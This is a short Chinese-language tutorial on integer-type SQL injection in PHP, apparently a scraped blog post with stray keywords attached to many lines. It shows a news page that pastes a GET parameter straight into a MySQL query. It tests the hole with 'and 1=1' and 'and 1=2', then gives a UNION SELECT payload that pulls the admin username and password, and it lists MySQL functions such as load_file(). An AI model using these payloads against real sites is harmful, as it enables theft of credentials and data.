PHP漏洞之【整型數字型SQL注入】

0x01    什麼是SQL注入javascript

SQL是一種注入攻擊,經過前端帶入後端數據庫進行惡意的SQL語句查詢。php

 0x02    SQL整型注入原理前端

 SQL注入通常發生在動態網站URL地址裏,固然也會發生在其它地發,如登陸框等等也會存在注入,只要是和數據庫打交道的地方都有可能存在。java

如這裏http://192.168.30.22/intsql/shownews.php?id=5  咱們打開shownews.php源文件看下代碼
mysql

if(isset($_GET['id']))
{
$id=$_GET["id"];
}
else
{
echo "<script language='javascript'>"; 
echo "alert('ÇëÊäÈëÕýÈ·ID£¡');";
echo " location='index.php';"; 
echo "</script>";
exit;    
}
 $sql4="select * from news where id=$id";
 $result4=mysql_query($sql4);
 if($nums=mysql_num_rows($result4))
 {
 $rs4=mysql_fetch_array($result4);
 $title=$rs4["title"];
 $content=$rs4["content"];
 $hits=$rs4["hits"];
 $fbsj=date("Y-m-d",strtotime($rs4['fbsj']));
 $sql="update news set hits=hits+1 where id=$id";
 mysql_query($sql);
 }

首先定義一個變量id,$id=$_GET["id"];獲取GET的值,sql

而後定義一個sql4變量來存放sql查詢語句,並和剛纔變量id進行拼接組合,數據庫

$sql4="select * from news where id=$id";後端

最後帶入數據庫進行查詢   $result4=mysql_query($sql4);session

由此能夠肯定此文件存在SQL注入漏洞,id是數字型函數

 0x03    驗證漏洞

如今咱們在地址欄id=5 後面輸入 and 1=1  頁面返回了正常

那麼代碼裏的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=1";  //整條語句帶入數據庫進行查詢 SQL語句返回爲真即true

如今咱們在地址欄id=5 後面輸入 and 1=2  頁面返回了錯誤

那麼代碼裏的sql語句拼接起來應該就是$sql4="select * from news where id=5 and 1=2";  //整條語句帶入數據庫進行查詢 SQL語句返回爲假即false

依次類推,若是看不懂的話,能夠去補一點sql基本語法知識。

 最後在查詢出管理員的後臺帳號和密碼 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

能夠看到SQL語句拼接起來變成一條完整的select * from news where id=5 and 1=2 UNION SELECT 1,username,password,4,5,6,7 from gly

mysql數據庫一些經常使用函數:  咱們也能夠加到查詢語句裏進行爆出對應的信息

1:system_user() 系統用戶名2:user() 用戶名3:current_user 當前用戶名4:session_user()鏈接數據庫的用戶名5:database() 數據庫名6:version() MYSQL數據庫版本 @@version7:load_file() MYSQL讀取本地文件的函數8:@@datadir 讀取數據庫路徑9:@@basedir MYSQL 安裝路徑10:@@version_compile_os 操做系統

相關文章
相關標籤/搜索